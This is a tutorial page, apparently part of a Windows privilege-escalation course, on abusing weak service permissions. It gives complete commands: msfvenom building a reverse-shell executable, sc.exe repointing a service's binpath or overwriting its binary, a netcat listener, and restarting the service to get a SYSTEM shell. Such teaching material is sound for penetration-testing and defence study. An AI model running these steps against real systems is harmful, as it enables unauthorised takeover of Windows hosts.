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7 - Weak Service Permissions

Topics

  1. Introduction to the Windows Shells

  2. Windows Permissions

  3. Reverse Shells in Windows

  4. SeImpersonatePrivilege Exploitation

  5. On Cross Compilation

  6. Windows Services

  7. Weak Service Permissions

  8. Unquoted Service Path

  9. DLL Hijacking

  10. Always Install Elevated

  11. Files with Sensitive Data

  12. Windows Hashes

  13. Stored Credentials and the Windows Vault

  14. Scheduled Task

  15. Critical Registry Paths

  16. Useful Tools

  17. AMSI Bypass

Weak Permissions on Service Configuration

Weak service configurations and binaries present significant security risks, infact service configurations can be altered if a user or group has sufficient permissions.

Viewing Service Configuration

simpleService.c

Use the sc.exe command to check a service's configuration:

sc.exe qc SimpleService

Sample Output:

SERVICE_NAME: SimpleService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Users\Quickemu\Downloads\simpleService.exe
        SERVICE_START_NAME : LocalSystem

Checking Permissions with AccessChk

AccessChk is a Microsoft utility that permits to know what kind of accesses specific users or groups have to resources including files, directories, Registry keys, global objects and Windows services. AccessChk quickly answers these questions with an intuitive interface and output. (Download it from here)

Than, using accesschk64we can verify permissions over a service:

.\accesschk64.exe /accepteula -uwcqv SimpleService

Sample Output:

SimpleService
  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS

The output shows the permissions for users/groups. "SERVICE_ALL_ACCESS" indicates full control over the service as System and Administrators user.

After checking the configuration, the goal is to change the path and replace it with the malicious one, stop the service and run it again.

Exploitation Steps

  1. Create a Malicious Executable Generate a reverse shell payload:

    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.122.1 LPORT=7777 -f exe -o malicious.exe

  2. Modify the Service Executable Path Change the binpath to point to the malicious binary:

    sc.exe config SimpleService binpath="C:\Users\Quickemu\Downloads\malicious.exe"

  3. Go into listening mode with netcat on linux attacker machine (we'll obtain the connection after next step):

nc -lvnp 7777

  1. Restart the Service Restart the service to execute the malicious binary:

sc.exe stop SimpleService
sc.exe start SimpleService

Weak Permissions on Service Binary

If the service binary itself has weak file permissions, it can be overwritten with a malicious executable.

Identifying Service Binaries

List the binary paths of running services:

Get-CimInstance -ClassName win32_service | Select Name, State, PathName | Where-Object {$_.State -like 'Running'}

Checking Binary Permissions with ICACLS

Use the icacls utility to view file permissions:

icacls .\simpleService.exe

Sample Output:

.\simpleService.exe NT AUTHORITY\SYSTEM:(F)
                    BUILTIN\Administrators:(F)
                    QUICKEM-5QLQQP9\Quickemu:(F)

If the current user has "Full Control" ((F)), they can overwrite the binary.

Exploitation Steps

  1. Generate and Transfer a Malicious Binary

    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.122.1 LPORT=7777 -f exe -o malicious.exe

  2. Backup and Replace the Service Binary

    cp .\simpleService.exe .\simpleService.exe.bkp
cp .\malicious.exe .\simpleService.exe

  3. Go into listening mode with netcat on linux attacker machine (we'll obtain the connection after next step):

nc -lvnp 7777

  1. Restart the Service

    sc.exe stop SimpleService
sc.exe start SimpleService

Service Enumeration with winPEAS

winPEAS is a tool used to enumerate potential misconfigurations, including weak service permissions.

Downloading winPEAS

Download the binary:

wget https://github.com/peass-ng/PEASS-ng/releases/download/20241011-2e37ba11/winPEASx64.exe

Running winPEAS to Enumerate Services

Use the servicesinfo option to gather information about services:

.\winPEASx64.exe quiet servicesinfo

winPEAS will display information about services, including configuration details, permissions, and potential vulnerabilities.

Other Resources

Disclaimer

❗ Never use tools and techniques on real IP addresses, hosts or networks without proper authorization!❗

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